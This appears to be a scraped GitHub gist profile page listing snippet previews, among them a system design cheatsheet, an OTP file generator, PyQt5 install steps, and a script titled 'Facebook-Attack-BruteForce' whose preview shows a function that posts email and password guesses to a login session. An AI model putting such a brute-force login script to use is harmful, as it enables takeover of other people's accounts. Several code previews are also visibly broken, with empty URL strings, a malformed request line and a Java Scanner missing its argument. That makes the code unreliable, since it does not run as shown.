Skip to content

Instantly share code, notes, and snippets.

Sudanese Pythonista

Shoukrey Tom shoukreytom

Sudanese Pythonista
View GitHub Profile
shoukreytom / System
Created Dec 21, 2021 — forked from vasanthk/System
System Design Cheatsheet
View System

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
shoukreytom / Generate-OTPs-File
Last active Apr 21, 2021
6 length otps file generator
View Generate-OTPs-File
import random
def generate_otp():
# return ''.join([str(random.randint(0, 9)) for x in range(6)]) # shorthand
num_co = ''
for x in range(6):
num_co += str(random.randint(0, 9))
return num_co
View Facebook-Attack-BruteForce
import argparse
import requests
def login(session, email, password):
response = session.get('')
response ='', data={
'email': email,
'pass': password
}, allow_redirects=False)
shoukreytom / Install PyQt5 on Ubuntu with python3 .md
Created Jun 3, 2020 — forked from ujjwal96/Install PyQt5 on Ubuntu with python3 .md
Install PyQt5 on Ubuntu with python3. Steps to set up PyQt5 (ubuntu). With python code generation
View Install PyQt5 on Ubuntu with python3 .md


pip3 install --user pyqt5  
sudo apt-get install python3-pyqt5  
sudo apt-get install pyqt5-dev-tools
sudo apt-get install qttools5-dev-tools

Configuring to run from terminal

shoukreytom /
Created May 27, 2020 — forked from wontoncc/
Balloon tip module, Python, using win32gui.
# -- coding: utf-8 --
from win32api import *
from win32gui import *
import win32con
import sys, os
import struct
import time
class WindowsBalloonTip:
shoukreytom /
Created May 11, 2020 — forked from mstuttgart/
Qt5 Dark Fusion Palette for Python
dark_palette = QPalette()
dark_palette.setColor(QPalette.Window, QColor(53, 53, 53))
dark_palette.setColor(QPalette.WindowText, Qt.white)
dark_palette.setColor(QPalette.Base, QColor(25, 25, 25))
dark_palette.setColor(QPalette.AlternateBase, QColor(53, 53, 53))
dark_palette.setColor(QPalette.ToolTipBase, Qt.white)
dark_palette.setColor(QPalette.ToolTipText, Qt.white)
shoukreytom / Check Prime
Created Aug 31, 2019
checks if a number given is prime number or not
View Check Prime
import java.math.BigInteger;
import java.util.Scanner;
public class Check {
public static void main(String[] args) {
Scanner scan = new Scanner(;
BigInteger n = scan.nextBigInteger();
System.out.println(n.isProbablePrime(10) ? "prime" : "not prime");